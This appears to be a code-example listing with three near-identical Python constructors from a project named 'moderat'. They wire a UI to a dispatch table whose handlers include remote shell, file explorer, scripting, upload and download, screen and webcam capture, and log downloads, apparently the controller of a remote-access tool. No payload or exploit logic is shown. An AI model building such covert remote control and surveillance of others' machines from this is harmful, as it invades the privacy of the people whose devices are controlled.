Exemple #1
0
    def __init__(self, moderat):
        self.moderat = moderat
        self.clients = Clients.Clients(self.moderat)

        # Create Main UI Functions
        self.ui = main.updateUi(self.moderat)
        self.ui.disable_administrator()
Exemple #2
0
    def __init__(self, moderat):
        self.moderat = moderat
        self.clients = Clients.Clients(self.moderat)

        # Create Main UI Functions
        self.ui = main.updateUi(self.moderat)

        # Create Tables UI
        self.tables = tables.updateClientsTable(self.moderat)

        # Init Modes
        self.modes = {
            'connectSuccess': self.onViewerConnected,
            'moderatorInitializing': self.moderatorInitializing,
            'getClients': self.getClients,
            'getModerators': self.getModerators,
            'shellMode': self.shellMode,
            'explorerMode': self.explorerMode,
            'scriptingMode': self.scriptingMode,
            'downloadMode': self.downloadMode,
            'uploadMode': self.uploadMode,
            'getScreen': self.getScreen,
            'getWebcam': self.getWebcam,
            'countData': self.countData,
            'downloadLogs': self.downloadLogs,
            'downloadLog': self.downloadLog,
        }
Exemple #3
0
    def __init__(self, moderat):
        self.moderat = moderat
        self.clients = Clients.Clients(self.moderat)

        # Create Main UI Functions
        self.ui = main.updateUi(self.moderat)

        # Create Tables UI
        self.tables = tables.updateClientsTable(self.moderat)

        # Init Modes
        self.modes = {
            'connectSuccess': self.onViewerConnected,
            'moderatorInitializing': self.moderatorInitializing,
            'getClients': self.getClients,
            'getModerators': self.getModerators,
            'shellMode': self.shellMode,
            'explorerMode': self.explorerMode,
            'scriptingMode': self.scriptingMode,
            'downloadMode': self.downloadMode,
            'uploadMode': self.uploadMode,
            'getScreen': self.getScreen,
            'getWebcam': self.getWebcam,
            'countData': self.countData,
            'downloadLogs': self.downloadLogs,
            'downloadLog': self.downloadLog,
        }